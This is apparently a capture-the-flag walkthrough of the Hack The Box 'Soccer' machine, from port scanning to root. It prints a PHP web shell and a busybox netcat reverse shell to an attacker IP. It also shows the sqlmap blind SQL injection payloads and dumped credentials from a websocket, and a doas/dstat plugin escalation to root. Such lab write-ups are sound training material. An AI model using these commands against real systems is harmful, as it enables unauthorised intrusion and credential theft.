Soccer
Before we start, it's called football BTW.
Port Scanning
rustscan -a 10.10.11.194
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Open 10.10.11.194:22
Open 10.10.11.194:80
Open 10.10.11.194:9091
nmap -sCV -O -oA SoccerScan -p 22,80,9091 -vvv 10.10.11.194
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD
|_http-title: Soccer - Index
|_http-server-header: nginx/1.18.0 (Ubuntu)
9091/tcp open xmltec-xmlmail? syn-ack ttl 63
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 139
| Date: Wed, 11 Jun 2025 09:17:40 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot GET /</pre>
| </body>
| </html>
| HTTPOptions, RTSPRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 143
| Date: Wed, 11 Jun 2025 09:17:40 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot OPTIONS /</pre>
| </body>
|_ </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
Aggressive OS guesses: Linux 4.15 - 5.8 (95%), Linux 5.0 - 5.4 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (94%), Linux 3.2 (94%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), HP P2000 G3 NAS device (93%)
Nmap done: 1 IP address (1 host up) scanned in 32.28 seconds
WEB APP
Add the domain name to the /etc/hosts
sudo sh -c 'echo "10.10.11.194 soccer.htb" >> /etc/hosts'
The home page doesn't tell much, so let's do some enumeration
ffuf -w /usr/share/SecLists/Discovery/Web-Content/raft-large-directories.txt -u http://soccer.htb/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
tiny [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 101ms]
:: Progress: [62281/62281] :: Job [1/1] :: 462 req/sec :: Duration: [0:02:18] :: Errors: 0 ::
Found a directory named tiny. It's using Tiny File Manager, so I started looking for public exploits and found an exploit for the 2.4.6 version. Viewing the source of the page found that the version it's using 2.4.3, so it's maybe gonna work out.
searchsploit tiny file manager
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Manx 1.0.1 - '/admin/tiny_mce/plugins/ajaxfilemanager/ajax_get_file_listing.php' Multiple Cross-Site Scripting Vulnerabilities | php/webapps/36364.txt
Manx 1.0.1 - '/admin/tiny_mce/plugins/ajaxfilemanager_OLD/ajax_get_file_listing.php' Multiple Cross-Site Scripting Vulnerabilities | php/webapps/36365.txt
MCFileManager Plugin for TinyMCE 3.2.2.3 - Arbitrary File Upload | php/webapps/15768.txt
Tiny File Manager 2.4.6 - Remote Code Execution (RCE) | php/webapps/50828.sh
TinyMCE MCFileManager 2.1.2 - Arbitrary File Upload | php/webapps/15194.txt
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

It's an authenticated exploit, so we need to search for credentials.
searchsploit -m php/webapps/50828.sh
Exploit: Tiny File Manager 2.4.6 - Remote Code Execution (RCE)
URL: https://www.exploit-db.com/exploits/50828
Path: /usr/share/exploitdb/exploits/php/webapps/50828.sh
Codes: CVE-2021-45010, CVE-2021-40964
Verified: False
File Type: Unicode text, UTF-8 text
Copied to: /home/legend/Machines/Soccer/50828.sh
#=============================================#
bash 50828.sh
TIny File Manager Authenticated RCE Exploit.
By FEBIN
50828.sh <URL> <Admin Username> <Password>
Example: 50828.sh http://files.ubuntu.local/index.php admin "admin@123"
Searching through Tiny file manager GitHub, found the default credentials. Using admin:admin@123 allowed me to log in.
Using the public exploit, but unfortunately, it didn't work.
bash 50828.sh http://soccer.htb/tiny/ admin "admin@123"
/usr/bin/curl
[โ] Curl found!
/usr/bin/jq
[โ] jq found!
[+] Login Success! Cookie: filemanager=r9ppfod0e6nddik88pnb52fkal
[*] Try to Leak Web root directory path
[+] Found WEBROOT directory for tinyfilemanager using full path disclosure bug : /var/www/html/tiny/
[-] File Upload Unsuccessful! Exiting!
So, moved to manual testing, found that we can't upload to /var/www/html/, but we can upload to /var/www/html/tiny/uploads


This small script will allow me to get a shell on the server. (Could have used pentestmonkey PHP rev shell, but idk it didn't come to my mind) (If you will use pentestmonkey PHP rev shell, revshells can help you with easy copy and paste)
<?php system($_REQUEST['cmd']); ?>
Keep in mind, what you upload gets deleted in a couple of minutes. I tried a couple of shells from revshells, and busybox worked

http://soccer.htb/tiny/uploads/php_shell.php?cmd=busybox nc 10.10.16.4 9998 -e sh
Shell as www-data
Did a little manual enumeration but didn't get anything, so moved to LinPEAS.
# my machine
wget https://github.com/peass-ng/PEASS-ng/releases/download/20250601-88c7a0f6/linpeas.sh
python3 -m http.server 8000
# Soccer machine
cd /tmp
wget 10.10.16.4:8000/linpeas.sh
bash linpeas.sh
โโโฃ PHP exec extensions
drwxr-xr-x 2 root root 4096 Dec 1 2022 /etc/nginx/sites-enabled
drwxr-xr-x 2 root root 4096 Dec 1 2022 /etc/nginx/sites-enabled
lrwxrwxrwx 1 root root 41 Nov 17 2022 /etc/nginx/sites-enabled/soc-player.htb -> /etc/nginx/sites-available/soc-player.htb
server {
listen 80;
listen [::]:80;
server_name soc-player.soccer.htb;
root /root/app/views;
location / {
proxy_pass http://localhost:3000;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
}
Found vhost named soc-player, add soc-player.soccer.htb to /etc/hosts
It looks a little bit like soccer.htb but it has new functions: Match, Login, and Signup
Created an account
First checked the match page, but it's a static page and doesn't give anything.
The tickets page allows fans to check their ticket.
Viewing the source of the page, found that the web app utilizes websocket for checking whether a ticket exists or not.
<script>
var ws = new WebSocket("ws://soc-player.soccer.htb:9091");
window.onload = function () {
var btn = document.getElementById('btn');
var input = document.getElementById('id');
ws.onopen = function (e) {
console.log('connected to the server')
}
input.addEventListener('keypress', (e) => {
keyOne(e)
});
function keyOne(e) {
e.stopPropagation();
if (e.keyCode === 13) {
e.preventDefault();
sendText();
}
}
function sendText() {
var msg = input.value;
if (msg.length > 0) {
ws.send(JSON.stringify({
"id": msg
}))
}
else append("????????")
}
}
ws.onmessage = function (e) {
append(e.data)
}
function append(msg) {
let p = document.querySelector("p");
// let randomColor = '#' + Math.floor(Math.random() * 16777215).toString(16);
// p.style.color = randomColor;
p.textContent = msg
}
</script>
Did some research because it's the first time I've tested websocket. Websockets can be vulnerable to XSS, CSRF, SQLi, XXE, and SSRF
A tool called wsrepl helps in testing websocket, though Burp can do it too, but good to check other tools.
pip3 install wsrepl --break-system-packages
wsrepl -u "ws://soc-player.soccer.htb:9091" --cookie 'connect.sid=s%3A16K3sC-mL5zrBuXD5eac7D1qdMTC4_z4.igmQZMdXhlb5nMErlTnhLe5pDecCeKW9YmQJjWVSUIg'
XSS and CSRF will require user interaction, and it doesn't look like this machine provides it. So I will start with SQLi, and with a simple payload, found that it's vulnerable to SQLi


To make life easier, sqlmap was created.
sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "1"}' --dbs --level 5 --risk 3 --batch
[07:01:28] [WARNING] heuristic (basic) test shows that (custom) POST parameter 'JSON id' might not be injectable
[07:01:29] [INFO] testing for SQL injection on (custom) POST parameter 'JSON id'
[07:02:24] [INFO] (custom) POST parameter 'JSON id' appears to be 'OR boolean-based blind - WHERE or HAVING clause' injectable
[07:02:40] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
[07:03:19] [INFO] (custom) POST parameter 'JSON id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[07:03:54] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[07:06:23] [INFO] checking if the injection point on (custom) POST parameter 'JSON id' is a false positive
(custom) POST parameter 'JSON id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 393 HTTP(s) requests:
---
Parameter: JSON id ((custom) POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: {"id": "-7016 OR 9767=9767"}
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: {"id": "1 AND (SELECT 1955 FROM (SELECT(SLEEP(5)))ZPqI)"}
---
[07:06:42] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[07:06:46] [INFO] fetching database names
[07:06:46] [INFO] fetching number of databases
[07:06:46] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
The websocket is vulnerable to Boolean-based blind and time-based blind SQLi. Now dump databases, and soccer_db is the interesting one.
sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "1"}' --dbs --level 5 --risk 3 --batch --dbms=mysql --threads 10
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys
Now we have new credentials to test with.
sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "1"}' --level 5 --risk 3 --batch --dbms=mysql --threads 10 --dump -D soccer_db
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id | email | password | username |
+------+-------------------+----------------------+----------+
| 1324 | [email protected] | PlayerOftheMatch2022 | player |
+------+-------------------+----------------------+----------+
logged in to the site, but nothing new. So moved to SSH
Shell as player
ssh [email protected]
player@soccer:~$ id
uid=1001(player) gid=1001(player) groups=1001(player)
player@soccer:~$ ls -la
total 28
drwxr-xr-x 3 player player 4096 Nov 28 2022 .
drwxr-xr-x 3 root root 4096 Nov 17 2022 ..
lrwxrwxrwx 1 root root 9 Nov 17 2022 .bash_history -> /dev/null
-rw-r--r-- 1 player player 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 player player 3771 Feb 25 2020 .bashrc
drwx------ 2 player player 4096 Nov 17 2022 .cache
-rw-r--r-- 1 player player 807 Feb 25 2020 .profile
lrwxrwxrwx 1 root root 9 Nov 17 2022 .viminfo -> /dev/null
-rw-r----- 1 root player 33 Jun 11 09:12 user.txt
player@soccer:~$ sudo -l
[sudo] password for player:
Sorry, user player may not run sudo on localhost.
To make things faster used linpeas.
player@soccer:~$ cd /tmp/
player@soccer:/tmp$ bash linpeas.sh

Too much to go through. So start one by one
The doas command provides a way to perform commands as another user. It aims to be a a simplified and lightweight replacement for sudo. [link]
player@soccer:/usr/local/etc$ cat doas.conf
permit nopass player as root cmd /usr/bin/dstat
We can use dstat as root, searched GTFOBins, and found that we can have a shell as root with it.
Shell as root
echo 'import os; os.execv("/bin/sh", ["sh"])' >/usr/local/share/dstat/dstat_xxx.py
doas /usr/bin/dstat --xxx
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
import imp
# id
uid=0(root) gid=0(root) groups=0(root)
Last updated
Was this helpful?